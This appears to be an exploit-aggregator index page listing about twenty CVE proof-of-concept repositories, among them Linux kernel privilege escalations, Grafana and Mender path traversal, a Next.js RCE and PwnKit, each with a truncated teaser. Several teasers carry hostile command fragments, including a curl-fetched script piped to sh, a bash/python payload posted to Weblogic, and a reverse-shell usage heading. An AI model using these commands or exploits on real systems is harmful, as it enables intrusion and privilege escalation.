CVE-2026-35273

CVE-2026-35273 This Security Alert addresses vulnerability CVE-2026-35273 in Oracle PeopleSoft PeopleTools. Oracle PeopleSoft Enterprise Applications customers may also be affected by this vulnerability. This vulnerability is remotely exploitable without authentication. If successfully exploited,...

CVE-2026-53359

CVE-2026-53359 In the Linux kernel, the following vulnerability has been... - https://github.com/advisories/GHSA-wpw8-53h7-xqcq ⚡ Simple Usage Use this project only in safe and authorized environments such as: Local virtual machines Docker containers Isolated lab setups Authorized penetration...

CVE-2026-31431-CopyFail

root@kitploit: ██████╗ ██████╗ ██████╗ ██╗ ██╗ ███████╗ █████╗ ██╗██╗ ██╔════╝██╔═══██╗██╔══██╗╚██╗ ██╔╝ ██╔════╝██╔══██╗██║██║ ██║ ██║ ██║██████╔╝ ╚████╔╝ █████╗ ███████║██║██║ ██║ ██║ ██║██╔═══╝ ╚██╔╝ ██╔══╝ ██╔══██║██║██║ ╚██████╗╚██████╔╝██║ ██║ ██║ ██║ ██║██║███████╗ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝...

CVE-2026-31431

CVE-2026-31431 Structure root@kitploit: . ├── container │ ├── container.md Container escape ideas │ ├── expenv Container environment │ │ ├── bin │ │ │ ├── gscontainer │ │ │ └── share │ │ ├── Dockerfile │ │ ├── run.sh │ │ └── src │ │ ├── gscontainer.c │ │ └── share.c │ ├── images │ │ ├──...

CVE-2026-49009

CVE-2026-49009 — Mender Server Authenticated Path Traversal to Remote Code Execution Discovered by j0xh-sec via HackerOne · PoC by INTELEON404 Table of Contents Vulnerability Summary Affected Versions Technical Analysis Proof of Concept Python Exploit Nuclei Template ShodanX + Nuclei Scanner Usag...

CVE-2026-55579

CVE-2026-55579 — Pheditor Hardcoded Default Password RCE -critical TL;DR: Pheditor all versions ships with a hardcoded default administrator password admin embedded in its source code. There is no forced password change on first login, only a visual warning. Any unauthenticated attacker can log i...

GZDoom-Arbitrary-Code-Execution-via-ZScript-PoC

GZDoom = 4.13.1 Arbitary Code Execution via Malicious ZScript A proof of concept for an arbitrary code execution vulnerability I found in GZDoom's https://github.com/zdoom/gzdoom ZScript functionality. An attacker can share a PK3 file containing a malicious ZScript source file and gain access to...

CVE-2023-31853

CVE-2023-31853 Reflected cross-site scripting XSS attack exists in web-based management interface of Cudy LT400. The page /cgi-bin/luci/admin/network/bandwidth has reflected XSS via the icon parameter. The methods of exploitation would involve sending a specially crafted request to the victim tha...

Exploit-CVE-2019-2725

Exploit-CVE-2019-2725 A simple exploit for CVE-2019-2725. Example Code: root@kitploit: curl -X POST https://127.0.0.1/async/AsyncResponseService -H "Content-Type: text/xml" -d ' xx xx /bin/bash -c python -c "import...

CVE-2019-11447-POC

sadnews CuteNews 2.1.2 - CVE-2019-11447 Prueba de Concepto POC por CRFSlick, descubierto por AkkuS Se descubrió un problema en CutePHP CuteNews 2.1.2. Un atacante puede infiltrarse en el servidor mediante el proceso de carga de avatar en el área de perfil a través del campo avatarfile hacia...

StickyExim

StickyExim Un HoneyPot de Correo Electrónico Características Fácil de implementar. Los scripts de instalación hacen todo el trabajo. Los informes de abuso se crean automáticamente y se envían al propietario de la IP atacante. Los informes de abuso se almacenan con un hash en el momento de la...

CVE-2024-32002-poc

Script Bash: root@kitploit: !/bin/bash Set Git configuration options git config --global protocol.file.allow always git config --global core.symlinks true Avoid warning messages set default branch to main git config --global init.defaultBranch main Define tell-tale path...

CVE-2021-43798

CVE-2021-43798 - Grafana Arbitrary File Read Python toolkit for authorized testing of CVE-2021-43798, a Grafana path traversal vulnerability that can allow unauthenticated arbitrary file reads through plugin asset paths. This repository contains: grafanapoc.py: interactive arbitrary file read PoC...

CVE-2025-55182

Next.js React Server Components RCE Exploit Exploits CVE-2025-55182 for remote code execution via prototype pollution. Installation root@kitploit: uv sync Usage Command Execution root@kitploit: source .venv/bin/activate python3 exploit.py -u https://example.com -c "id" Reverse Shell root@kitploit...

CVE-2022-26923

CVE-2022-26923 – Certifried Exploit AD CS Abuse Automated exploitation of CVE-2022-26923 Certifried , enabling privilege escalation through abuse of Active Directory Certificate Services AD CS, with an automatic fallback to Resource-Based Constrained Delegation RBCD, ultimately dumping the NTLM...

Project-Field-Analysis-and-Memory-Leak-Demonstration

Objective The objective of this project was to assess a remote host for the Heartbleed vulnerability CVE-2014-0160, verify its presence, and exploit it to extract potentially sensitive information from server memory over the TLS protocol. Execution 1. Identifying Open Services Nmap nmap -sC -sV...

CVE-2025-29338

CVE-2025-29338 — Security Advisory Buffer Overflow in NXP moal.ko Wi-Fi Kernel Driver woalsetupmoduleparam / parsecfggetline Field| Value ---|--- CVE ID| CVE-2025-29338 Severity| High CVSS v3.1 Score| 7.8 CVSS v3.1 Vector| CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H Vulnerability Type| Stack-Bas...

CVE-2019-9702_Symantec_Encryption_Desktop_LPE_PoC

Symantec Encryption Desktop PGPwded.sys local privilege escalation PoC This repository contains a proof-of-concept for a local privilege escalation path in Symantec Encryption Desktop's PGPwded.sys storage filter, based on a low-privileged raw disk read/write primitive. The PoC was developed and...

CVE-2026-43494

🛠️ PinTheft — CVE-2026-43494 Local Privilege Escalation in Linux Kernel via RDS + iouring Page Cache Overwrite 📌 Overview PinTheft is a sophisticated local root exploit for CVE-2026-43494 , a reference-counting bug in the Linux kernel's Reliable Datagram Sockets RDS subsystem. By combining a...

KERNELexploits

PwnKit Self-contained exploit for CVE-2021-4034 - Pkexec Local Privilege Escalation Usage Should work out of the box on vulnerable Linux distributions based on Ubuntu, Debian, Fedora, and CentOS. root@kitploit: sh -c "$curl -fsSL https://raw.githubusercontent.com/ly4k/PwnKit/main/PwnKit.sh"...